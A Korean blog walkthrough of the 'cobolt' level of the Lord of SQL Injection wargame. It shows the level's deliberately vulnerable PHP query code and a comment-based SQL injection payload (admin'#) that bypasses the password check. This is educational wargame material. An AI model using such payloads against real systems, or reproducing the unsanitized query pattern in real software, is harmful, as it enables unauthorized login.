본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] cobolt 풀이

by yenua 2022. 6. 8.
반응형

코볼트는 독일의 광산에서 산다고 알려진 상상 속의 난쟁이라 한다. - 위키백과

los의 코볼트를 처리해보자.

기본적인 쿼리문 및 소스코드는 아래와 같다.

 

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

소스코드를 자세히 살펴보면, 저번과 다르게 비밀번호 입력값을 md5를 시켜서 pw에 대입시킨다. 그리고 이번에는 id값이 admin 이어야 한다. 지난번에 주석처리하는 방법을 확실히 알아뒀으니 이번에는 pw부분을 주석처리하여 우회시켜보자.

 

코볼트는 아래의 방법으로 처리할 수 있다.

 

id: admin'#

url: ?id=admin%27%23

query : select id from prob_cobolt where id='admin'#' and pw=md5('')

 

 

TMI

소스코드의 preg_match를 설명을 안했었는데, prob나 아래대시(_), 온점(.), 역슬래시(\)의 사용을 막기 위한 필터링 구문이다. 정규표현식으로 처리되어있는데, 그에 대한 자세한 내용은 아래를 참고바란다.

https://hamait.tistory.com/342

 

정규표현식 (Regex) 정리

정규표현식은 아주 가끔 쓰기때문에 항상 다시 볼때마다 헷갈리곤 하기에 주요 사용예를 내가 나중에 다시 봤을 때 편하도록 정리하여 보았다. 정규 표현식의 용어들정규 표현식에서 사용되는

hamait.tistory.com

 

gremlin의 풀이가 궁금한 사람은 아래 링크로..!

https://yenua.tistory.com/182

 

[Los] gremlin 풀이

los는 LORD OF SQLINJECTION 의 줄임말로, SQL Injection을 집중적으로 연습해볼 수 있는 워게임 사이트이다. 던전이 컨셉이라 문제 하나하나가 물리쳐야 할 몬스터 이름으로 되어 있다. 옛날 사이트에서는

yenua.tistory.com

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] darkelf 풀이  (0) 2022.06.11
[Los] wolfman 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10
[Los] goblin 풀이  (1) 2022.06.09
[Los] gremlin 풀이  (0) 2022.06.08